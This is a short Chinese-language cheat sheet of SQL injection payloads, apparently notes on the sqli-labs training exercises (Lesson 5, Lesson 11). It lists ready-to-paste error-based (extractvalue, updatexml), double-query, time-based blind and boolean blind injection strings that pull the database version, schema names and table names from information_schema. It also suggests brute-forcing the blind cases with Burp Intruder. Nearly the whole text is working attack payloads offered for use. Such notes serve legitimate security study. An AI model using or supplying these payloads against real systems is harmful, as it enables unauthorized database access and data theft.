查询当前版本:’ union select 1,extractvalue(1,concat(0x7e,(select version())))#
利用“extractvalue”函数查询当前表名:’ union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)))#
利用"updatexml"函数查询当前php版本:’ union select updatexml(1,concat(0x7e,(select version())),1)#
利用“updatexml”函数查询当前表名:’ union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1)),1)#
双注入 Lesson11
查询版本:admin’ union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version())#
查询数据库名:admin’ union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select table_schema from information_schema.schemata limit 0,1))#
时间盲注 Sleep(1)函数
推测表名:?id=1 or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=‘security’ limit 0,1)>0,sleep(2),0)#
也可用ord( )
布尔盲注 Lesson-5
推测版本:id=1’ or (select substr(version(),1,1)=‘5’) #
推测数据库名:id=1’ or (select ascii(substr(table_schema,1,1)) from information_schema.schemata limit 0,1)>1#
推测表名:id=1’ or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=‘security’ limit 0,1)>1# 可以用burp的intruder举行爆破